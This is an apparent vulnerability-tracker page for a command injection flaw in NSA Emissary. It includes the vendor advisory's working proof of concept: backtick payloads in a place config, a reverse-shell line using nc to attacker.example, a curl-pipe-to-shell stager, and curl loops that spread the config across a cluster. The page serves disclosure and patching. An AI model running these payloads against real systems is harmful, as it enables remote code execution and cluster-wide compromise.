Skip to main content

Java CVE-2026-35582

| EUVDEUVD-2026-23628 HIGH
OS Command Injection (CWE-78)
2026-04-13 https://github.com/NationalSecurityAgency/emissary GHSA-3p24-9x7v-7789
8.8
CVSS 3.1 · Vendor: https://github.com/NationalSecurityAgency/emissary
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain config write access
  2. Delivery
    Commit malicious place config with IN_FILE_ENDING payload
  3. Exploit
    Trigger application restart/redeploy
  4. Execution
    Payload routes through malicious place
  5. Persist
    Shell injection executes arbitrary commands
  6. Impact
    Establish persistence or lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access with write permissions to Emissary configuration files or configuration repository (typical permissions for developers, DevOps engineers, or CI/CD service accounts in GitOps deployments). Attacker must be able to add or modify place configuration files in the CONFIG_DIR path (default /opt/emissary/config/) and either trigger application restart or wait for scheduled deployment cycle to load modified configuration. Exploitation occurs when Emissary processes any payload through the malicious place-no specific payload content required, making attack triggering trivial via monitored pickup directories. Limits to exploitation: local access requirement means initial compromise vector is config authorship not remote network attack, and some deployment architectures use immutable container images with baked-in configs (requiring image build pipeline access rather than runtime config modification). However, common deployment patterns using externally mounted config volumes (Kubernetes ConfigMaps, Docker bind mounts, NFS-shared config directories) or git-pull-based config updates restore runtime modification capability. No special protocol support, non-default features, or user interaction required. Attack surface is configuration authorship boundary, not network boundary, but configuration authors are numerous in modern DevOps environments with distributed version control and automated deployment pipelines.

Impact

Real-world risk assessment requires weighing multiple conflicting signals. CVSS 8.8 (high) with local attack vector (AV:L) and low privileges (PR:L) initially suggests limited exposure, but the advisory demonstrates that 'low privileges' means any developer or operator with configuration file write access-a broad group in typical CI/CD and GitOps workflows. The scope change flag (S:C) correctly captures that command execution occurs in the JVM security context and can escape containerized deployments, which is significant for Docker/Kubernetes environments common in Emissary's government and enterprise target deployments. EPSS data not provided in input, preventing quantitative exploitation probability assessment. No CISA KEV listing indicates no confirmed widespread exploitation as of analysis date, but absence from KEV does not indicate low risk-this is a framework-level defect in NSA-maintained software used in sensitive data processing pipelines. The advisory provides two complete proof-of-concepts (end-to-end Docker attack and isolated unit test), significantly lowering exploitation barrier for authenticated insiders. Attack complexity is genuinely low (AC:L)-no race conditions, no cryptographic operations, just configuration file modification. Most critical risk factor: the advisory explicitly describes cluster-wide propagation via Emissary's peer API, turning single-node access into fleet-wide compromise in multi-node deployments. Priority assessment: HIGH for organizations running Emissary clusters with multiple configuration authors, MEDIUM for single-node deployments with strict config access controls. Key uncertainty: deployment prevalence data unavailable-Emissary is NSA open-source but adoption metrics outside government networks are not publicly disclosed.

Exploit ScenarioDerived

An authenticated developer with access to commit configuration changes to the Emissary config repository adds a new UnixCommandPlace configuration file to config/emissary.place.UnixCommandPlace.cfg containing IN_FILE_ENDING set to backtick command substitution payload (example: curl -s http://attacker.example/implant.sh | sh). During next deployment or server restart, Emissary loads the malicious configuration and registers the place in its routing table with artificially low SERVICE_COST to prioritize it in the processing chain. When any payload enters the system via monitored pickup directory, the workflow engine routes it through the malicious place, triggering getCommand() to construct shell string /bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace<nanotime>; cat /tmp/UnixCommandPlace<nanotime>/<timestamp>curl -s http://attacker.example/implant.sh | sh. The backtick expression executes during shell argument expansion before cat is invoked, downloading and executing attacker-controlled shell script in Emissary JVM security context. From this foothold, attacker enumerates cluster peers via /api/cluster/peers endpoint and propagates the malicious config to all nodes using Emissary's own cluster API, achieving fleet-wide remote code execution from a single configuration change.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 18, 2026

Shell command injection in NSA Emissary's Executrix.getCommand() allows authenticated users with place configuration authorship to achieve arbitrary OS command execution when any payload is processed. The framework constructs /bin/sh -c commands by directly substituting IN_FILE_ENDING and OUT_FILE_ENDING configuration values into temporary file paths without escaping or validation, despite implementing input sanitization for similar parameters (placeName). Vendor-released patch available (commit 1faf33f). CVSS 8.8 (high) reflects local attack vector requiring low privileges, but scope change to C indicates container/JVM breakout potential. No CISA KEV listing or public exploit identified at time of analysis, though detailed proof-of-concept exists in advisory including Docker-based reproduction and unit test.

Earlier versions of this analysis (1)
v1 Apr 13, 2026 - 17:15 CVSS 8.8

OS command injection in NSA Emissary document processing framework allows local place configuration authors to execute arbitrary shell commands with JVM privileges. The Executrix.getCommand() method concatenates IN_FILE_ENDING and OUT_FILE_ENDING configuration values directly into /bin/sh -c command strings without escaping or validation. Attackers with place configuration write access (developers, operators, or anyone compromising a cluster node) can inject shell metacharacters (backticks, command substitution) that execute during payload processing. Impact spans all Executrix-based places including UnixCommandPlace and MultiFileUnixCommandPlace. CVSS 8.8 reflects local attack vector requiring low privileges, but scope change to Container indicates breakout potential. Vendor patch available (commit 1faf33f). No active exploitation confirmed (not in CISA KEV), but detailed proof-of-concept exists including Docker-based reproduction and unit test. EPSS data not provided, but framework-level injection in intelligence processing infrastructure warrants immediate attention.

RemediationAI

Apply vendor-released patch commit 1faf33f2494c0128f250d7d2e8f2da99bbd32ae8 available from github.com/NationalSecurityAgency/emissary. The patch implements input validation on IN_FILE_ENDING and OUT_FILE_ENDING configuration parameters using allowlist regex pattern matching (^[a-zA-Z0-9._-]*$) applied in setInFileEnding() and setOutFileEnding() methods, consistent with existing placeName sanitization approach. Update Maven dependency to patched version once released to central repository. For environments unable to patch immediately, implement compensating controls: restrict write access to Emissary configuration directories and files to minimal set of trusted operators, enable mandatory peer review for all config changes via version control hooks, monitor /opt/emissary/config/ (or equivalent CONFIG_DIR path) for unauthorized modifications using file integrity monitoring, audit logs for places.cfg modifications and unexpected PLACE additions, and deploy application-layer firewall rules blocking outbound connections from Emissary JVM processes to untrusted networks if reverse shell risk is primary concern. Note: blocking outbound network does not prevent data exfiltration to attacker-controlled directories within mounted volumes or local filesystem tampering. Configuration-only mitigations are inadequate-patch is required for defense against authenticated insiders. No workaround exists for eliminating the vulnerability without code changes because the defect is in framework-level command construction logic used by documented public APIs.

Affected VersionsENISA

emissary < 8.43.0

Affected Packages

maven gov.nsa.emissary:emissary fix: 8.43.0
euvd emissary fix: 8.43.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a CWE-78 OS command injection vulnerability in the Emissary data processing framework's shell execution abstraction layer. Executrix.java provides a utility class for external command execution used by ExecPlace and its subclasses (UnixCommandPlace, MultiFileUnixCommandPlace). The vulnerable code path occurs in getCommand() methods (lines 1053-1065 and 1103-1115) which construct shell command strings by performing plain text replacement of <INPUT_PATH>, <OUTPUT_PATH>, <INPUT_NAME>, <OUTPUT_NAME> placeholders. These placeholders are populated from TempFileNames objects that concatenate user-controlled IN_FILE_ENDING and OUT_FILE_ENDING configuration values directly onto filesystem paths without character class validation (TempFileNames.java:32-36). The final command array passed to Runtime.exec() is {'/bin/sh', '-c', 'ulimit -c 0; ulimit -v <limit>; cd <tmpdir>; <user_command>'}, where shell metacharacters in any substituted value are interpreted during argument expansion. The framework already implements INVALID_PLACE_NAME_CHARS regex sanitization (Pattern ^[a-zA-Z0-9_-]) for placeName values that reach the same shell context, demonstrating awareness of injection risk but inconsistent application. The affected Maven package is gov.nsa.emissary:emissary, part of NSA's open-source data-driven workflow engine typically deployed in multi-node clusters with shared configuration stores.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/NationalSecurityAgency/emissary) PRIMARY 8.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/NationalSecurityAgency/emissary) · only source for this CVE.

CVSS VectorVendor: https://github.com/NationalSecurityAgency/emissary

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Analysis Updated
Apr 18, 2026 - 02:29 vuln.today
v2 - CVSS changed
Patch released
Apr 13, 2026 - 16:45 nvd
Patch available
CVE Published
Apr 13, 2026 - 16:38 nvd
HIGH 8.8

DescriptionCVE.org

Summary

Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a framework-level defect - Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.

---

Root Cause

Step 1 - IN_FILE_ENDING flows into temp path construction without validation

[TempFileNames.java:32-36](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)

java
public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {
    base = Long.toString(System.nanoTime());
    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);
    in  = base + inFileEnding;        // no sanitization
    out = base + outFileEnding;       // no sanitization
    basePath       = tempDir + File.separator + base;
    inputFilename  = basePath + inFileEnding;   // injected value lands here
    outputFilename = basePath + outFileEnding;  // and here
}

inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping.

Step 2 - The injected path is substituted verbatim into a shell string

[Executrix.java:1053-1065](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)

java
public String[] getCommand(final String[] tmpNames, final String commandArg,
                           final int cpuLimit, final int vmSzLimit) {
    String c = commandArg;
    c = c.replaceAll("<INPUT_PATH>",  tmpNames[INPATH]);  // contains inFileEnding verbatim
    c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]);
    c = c.replaceAll("<INPUT_NAME>",  tmpNames[IN]);
    c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]);

    String ulimitv = "";
    if (!SystemUtils.IS_OS_MAC) {
        ulimitv = "ulimit -v " + vmSzLimit + "; ";
    }
    return new String[] {"/bin/sh", "-c",
        "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c};
}

The final array element is passed to /bin/sh -c. Shell metacharacters in any substituted value are interpreted by the shell.

The identical pattern exists in the TempFileNames overload at [Executrix.java:1103-1115](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115).

Step 3 - setInFileEnding() and setOutFileEnding() perform no validation

[Executrix.java:1176-1196](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)

java
public void setInFileEnding(final String argInFileEnding) {
    this.inFileEnding = argInFileEnding;   // accepted as-is
}

public void setOutFileEnding(final String argOutFileEnding) {
    this.outFileEnding = argOutFileEnding; // accepted as-is
}

The same absence of validation applies to the IN_FILE_ENDING and OUT_FILE_ENDING keys read from configuration at [Executrix.java:121-122](src/main/java/emissary/util/shell/Executrix.java#L121-L122).

Contrast: placeName is sanitized, file endings are not

The framework already sanitizes placeName using a strict allowlist:

java
// Executrix.java:78
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

// Executrix.java:148-150
protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

placeName ends up in tmpNames[DIR], which is also embedded in the shell string. The sanitization of placeName demonstrates awareness that these values reach the shell - the omission of equivalent sanitization for inFileEnding and outFileEnding is the defect.

---

Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.

---

PoC 1 - Docker: end-to-end attack against a live node

Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.

Environment setup

Put the Dockerfile.poc to contrib/docker/ folder

FROM emissary:poc-base

COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/

RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \
    && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \
    && mkdir -p /opt/emissary/localoutput \
    && mkdir -p /opt/emissary/target/data \
    && chmod -R a+rw /opt/emissary \
    && chown -R emissary:emissary /opt/emissary* \
    && rm -f /tmp/*.tar.gz

USER emissary
WORKDIR /opt/emissary
EXPOSE 8001
ENTRYPOINT ["./emissary"]
CMD ["server", "-a", "2", "-p", "8001"]
bash
# Build the distribution tarball
mvn -B -ntp clean package -Pdist -DskipTests
# Build and start the Docker container
docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/
docker run -d --name emissary-poc -p 8001:8001 emissary:poc
# Wait for the server to start (~15s), then verify health
docker exec emissary-poc sh -c \
  'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"'
# healthy

Step 1 - Confirm the marker file does not exist

bash
docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1'
# ls: cannot access '/tmp/pwned.txt': No such file or directory

Step 2 - Write the malicious place config

Write emissary.place.UnixCommandPlace.cfg into the server's config directory. The EXEC_COMMAND is a benign cat. The injection is entirely in IN_FILE_ENDING using backtick command substitution (POSIX-compatible, works on all target OS images):

bash
docker exec emissary-poc sh -c "printf \
'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\
SERVICE_NAME = \"UCP\"\n\
SERVICE_TYPE = \"TRANSFORM\"\n\
PLACE_NAME = \"UnixCommandPlace\"\n\
SERVICE_COST = 4000\n\
SERVICE_QUALITY = 90\n\
SERVICE_PROXY = \"LOWER_CASE\"\n\
EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\
OUTPUT_TYPE = \"STD\"\n\
IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\
OUT_FILE_ENDING = \".out\"\n' \
> /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"

Step 3 - Add UnixCommandPlace to places.cfg

bash
docker exec emissary-poc sh -c \
  'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \
   >> /opt/emissary/config/places.cfg'

Step 4 - Restart the server to load the config

bash
docker restart emissary-poc
# wait for health: 200
docker exec emissary-poc sh -c \
  'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"'

Startup log confirms the place loaded:

INFO  emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!

Step 5 - Drop any file into the pickup directory to trigger processing

bash
docker exec emissary-poc sh -c \
  'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'

The Emissary pipeline picks up the file, routes it through UnixFilePlace → ToLowerPlace → UnixCommandPlace (cost 4000, lower than ToUpperPlace at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside getCommand() before cat is even called.

Step 6 - Confirm injection executed

bash
sleep 10
# allow pipeline processing time
docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'

Live output (verified):

uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)

Assembled shell string at execution time (logged by Emissary at DEBUG level):

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt`

The backtick expression fires as the shell expands the cat argument. The cat itself returns non-zero (no file at that path) but that is irrelevant - the injected command has already run.

Transform history from Emissary logs - confirms UnixCommandPlace ran:

transform history:
  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050
  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050
  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010
  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   <-- injection fired here
  ...

Escalating the payload - reverse shell

Replace the IN_FILE_ENDING value. The content is passed verbatim to /bin/sh -c, so any POSIX shell construct works:

properties
# Reverse shell - POSIX sh compatible (works on Alpine/busybox as well as bash)
IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f`"
# Curl-based stager (avoids embedding IP in config, works on any image with curl)
IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`"

Both fire on the first payload processed - no further attacker interaction required.

---

PoC 2 - Unit test: isolated, no server required

Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.

java
package emissary.util.shell;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.DisabledOnOs;
import org.junit.jupiter.api.condition.OS;
import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/**
 * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,
 * enabling command injection via getCommand().
 *
 * Mirrors exactly what UnixCommandPlace.runCommandOn() does:
 *   TempFileNames names = executrix.createTempFilenames();
 *   String[] cmd = executrix.getCommand(names);
 *   executrix.execute(cmd, ...);
 */
@DisabledOnOs(OS.WINDOWS)
class ExecutrixShellInjectionPocTest {

    @Test
    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {
        Path marker = tmpDir.resolve("injected");

        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()
        // while still demonstrating the shell executes the injected expression.
        String payload = "`touch " + marker.toAbsolutePath() + "`";

        Executrix executrix = new Executrix();
        executrix.setTmpDir(tmpDir.toString());
        executrix.setCommand("cat <INPUT_PATH>");  // mirrors UnixCommandPlace default
        executrix.setInFileEnding(payload);  // no validation - accepted as-is

        // --- path taken by UnixCommandPlace.runCommandOn() ---
        TempFileNames names = executrix.createTempFilenames();
        String[] cmd = executrix.getCommand(names);
        // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`"

        // Execute - same call as executrix.execute(cmd, outbuf, errbuf)
        Process proc = Runtime.getRuntime().exec(cmd);
        proc.waitFor();

        assertTrue(Files.exists(marker),
            "Shell injection succeeded - backtick in IN_FILE_ENDING executed.\n" +
            "Shell string: " + cmd[2]);
    }
}

Assembled shell string:

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`

The marker file is created by the backtick expression firing during shell argument expansion.

Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.

The same injection works via OUT_FILE_ENDING → <OUTPUT_PATH> / <OUTPUT_NAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.

---

Attack Scenarios

Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.

---

Scenario A - Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change - even a code reviewer who can approve their own PR - can inject the payload.

Step 1 - Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

diff
+++ b/config/emissary.place.UnixCommandPlace.cfg
@@ -0,0 +1,10 @@
+SERVICE_KEY     = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000"
+SERVICE_NAME    = "UCP"
+SERVICE_TYPE    = "TRANSFORM"
+PLACE_NAME      = "UnixCommandPlace"
+SERVICE_COST    = 4000
+SERVICE_QUALITY = 90
+SERVICE_PROXY   = "LOWER_CASE"
+EXEC_COMMAND    = "cat <INPUT_PATH>"
+OUTPUT_TYPE     = "STD"
+IN_FILE_ENDING  = "`curl -s http://attacker.example/implant.sh | sh`"
+OUT_FILE_ENDING = ".out"

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 - Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed - silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).

Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands - a common operational error, not an obvious security event.

---

Scenario B - Cluster-wide propagation via the peers API

Attacker's starting position: RCE on one node (from Scenario A).

Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.

Step 1 - Enumerate all cluster nodes

bash
curl -s --digest -u <user>:<password> \
  http://compromised-node:8001/api/cluster/peers \
  | grep -o '"http://[^"]*"'

Response:

json
{"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]}

Step 2 - Push the malicious config to each peer via the Emissary API

From the compromised node, use the Emissary cluster API directly - no SSH required. All nodes authenticate each other using the same shared credentials, and the CONFIG_DIR path is disclosed by the /api/peers response metadata:

bash
# From the shell gained in Scenario A
PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)

for peer in node2:8001 node3:8001 node4:8001; do
# Write the config file to the peer via its exposed file API
# (alternatively: exploit the peer's own pickup directory via the ingest API)
  curl -s --digest -u <user>:<password> \
    -X POST \
    -H "Content-Type: text/plain" \
    --data-binary "$PAYLOAD" \
    "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg"
done

If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) - all of which are common Emissary deployment patterns.

Step 3 - Trigger restart on each peer via the cluster shutdown API

bash
for peer in node2:8001 node3:8001 node4:8001; do
  curl -s --digest -u <user>:<password> \
    -X POST -H "X-Requested-By: x" \
    http://${peer}/api/shutdown
done

Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.

Impact

DimensionAssessment
ConfidentialityCritical - arbitrary read of files accessible to the Emissary process
IntegrityCritical - arbitrary file write, process state modification, persistence
AvailabilityCritical - process termination, resource exhaustion
Blast radiusAny place that uses Executrix and calls getCommand(); this includes all subclasses of ExecPlace and any custom place that follows the documented pattern

---

Recommended Remediation

Primary fix - validate inFileEnding and outFileEnding on assignment

Apply the same allowlist pattern already used for placeName:

java
// Add to Executrix.java
private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$");

public void setInFileEnding(final String argInFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {
        throw new IllegalArgumentException(
            "IN_FILE_ENDING contains illegal characters: " + argInFileEnding);
    }
    this.inFileEnding = argInFileEnding;
}

public void setOutFileEnding(final String argOutFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {
        throw new IllegalArgumentException(
            "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding);
    }
    this.outFileEnding = argOutFileEnding;
}

Apply the same validation inside configure() where the values are read from the Configurator.

Secondary fix (defence-in-depth) - shell-quote substituted values in getCommand()

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

java
// In getCommand(), wrap each substituted value in single quotes
// and escape any embedded single quotes.
// Java string "'\\'''" is the four characters: ' \ ' '
// which at runtime produces the shell sequence: '\''
// (close quote, literal single quote, reopen quote)
private static String shellQuote(String value) {
    return "'" + value.replace("'", "'\\''") + "'";
}

// Then:
c = c.replace("<INPUT_PATH>",  shellQuote(tmpNames[INPATH]));
c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH]));
c = c.replace("<INPUT_NAME>",  shellQuote(tmpNames[IN]));
c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT]));

Why this is a framework-level fix

The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

Executive ViewAI

Why It Matters

NSA Emissary versions prior to patch commit 1faf33f contain a shell command injection vulnerability in the Executrix component that allows authenticated configuration authors to execute arbitrary operating system commands. This vulnerability requires legitimate user access but could enable lateral movement, data exfiltration, or container escape, making it a critical risk for organizations running Emissary in production environments.

Business Impact: High
Compensating Controls

Apply vendor patch. Until patching is complete: (1) Restrict IN_FILE_ENDING and OUT_FILE_ENDING configuration parameters to trusted administrators only; (2) Implement network segmentation to limit lateral movement from compromised Emissary instances; (3) Enable command execution logging and alerting on the host/container running Emissary; (4) Review and disable any non-essential payload processing pipelines.

Threat Intelligence Overview

EPSS Score
0.1%
Top 83% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

SUSE

Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy